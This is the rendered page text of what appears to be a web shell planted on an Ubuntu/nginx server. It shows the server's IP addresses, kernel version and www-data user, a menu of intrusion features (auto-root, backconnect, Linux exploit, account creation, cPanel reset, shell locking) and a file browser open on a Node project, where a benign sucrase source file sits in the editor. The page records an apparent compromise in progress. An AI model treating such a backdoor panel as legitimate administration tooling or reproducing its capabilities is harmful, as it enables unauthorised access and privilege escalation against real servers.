Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
amatya /
quiz1 /
node_modules /
sucrase /
dist /
util /
[ HOME SHELL ]
Name
Size
Permission
Action
elideImportEquals.js
743
B
-rw-rw-rw-
formatTokens.js
2.37
KB
-rw-rw-rw-
getClassInfo.js
11.18
KB
-rw-rw-rw-
getDeclarationInfo.js
1.51
KB
-rw-rw-rw-
getIdentifierNames.js
472
B
-rw-rw-rw-
getImportExportSpecifierInfo.j...
2.08
KB
-rw-rw-rw-
getJSXPragmaInfo.js
589
B
-rw-rw-rw-
getNonTypeIdentifiers.js
2.03
KB
-rw-rw-rw-
getTSImportedNames.js
2.6
KB
-rw-rw-rw-
isAsyncOperation.js
1.34
KB
-rw-rw-rw-
isExportFrom.js
742
B
-rw-rw-rw-
isIdentifier.js
1.87
KB
-rw-rw-rw-
removeMaybeImportAttributes.js
784
B
-rw-rw-rw-
shouldElideDefaultExport.js
1.25
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : getTSImportedNames.js
"use strict";Object.defineProperty(exports, "__esModule", {value: true}); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }var _types = require('../parser/tokenizer/types'); var _getImportExportSpecifierInfo = require('./getImportExportSpecifierInfo'); var _getImportExportSpecifierInfo2 = _interopRequireDefault(_getImportExportSpecifierInfo); /** * Special case code to scan for imported names in ESM TypeScript. We need to do this so we can * properly get globals so we can compute shadowed globals. * * This is similar to logic in CJSImportProcessor, but trimmed down to avoid logic with CJS * replacement and flow type imports. */ function getTSImportedNames(tokens) { const importedNames = new Set(); for (let i = 0; i < tokens.tokens.length; i++) { if ( tokens.matches1AtIndex(i, _types.TokenType._import) && !tokens.matches3AtIndex(i, _types.TokenType._import, _types.TokenType.name, _types.TokenType.eq) ) { collectNamesForImport(tokens, i, importedNames); } } return importedNames; } exports.default = getTSImportedNames; function collectNamesForImport( tokens, index, importedNames, ) { index++; if (tokens.matches1AtIndex(index, _types.TokenType.parenL)) { // Dynamic import, so nothing to do return; } if (tokens.matches1AtIndex(index, _types.TokenType.name)) { importedNames.add(tokens.identifierNameAtIndex(index)); index++; if (tokens.matches1AtIndex(index, _types.TokenType.comma)) { index++; } } if (tokens.matches1AtIndex(index, _types.TokenType.star)) { // * as index += 2; importedNames.add(tokens.identifierNameAtIndex(index)); index++; } if (tokens.matches1AtIndex(index, _types.TokenType.braceL)) { index++; collectNamesForNamedImport(tokens, index, importedNames); } } function collectNamesForNamedImport( tokens, index, importedNames, ) { while (true) { if (tokens.matches1AtIndex(index, _types.TokenType.braceR)) { return; } const specifierInfo = _getImportExportSpecifierInfo2.default.call(void 0, tokens, index); index = specifierInfo.endIndex; if (!specifierInfo.isType) { importedNames.add(specifierInfo.rightName); } if (tokens.matches2AtIndex(index, _types.TokenType.comma, _types.TokenType.braceR)) { return; } else if (tokens.matches1AtIndex(index, _types.TokenType.braceR)) { return; } else if (tokens.matches1AtIndex(index, _types.TokenType.comma)) { index++; } else { throw new Error(`Unexpected token: ${JSON.stringify(tokens.tokens[index])}`); } } }
Close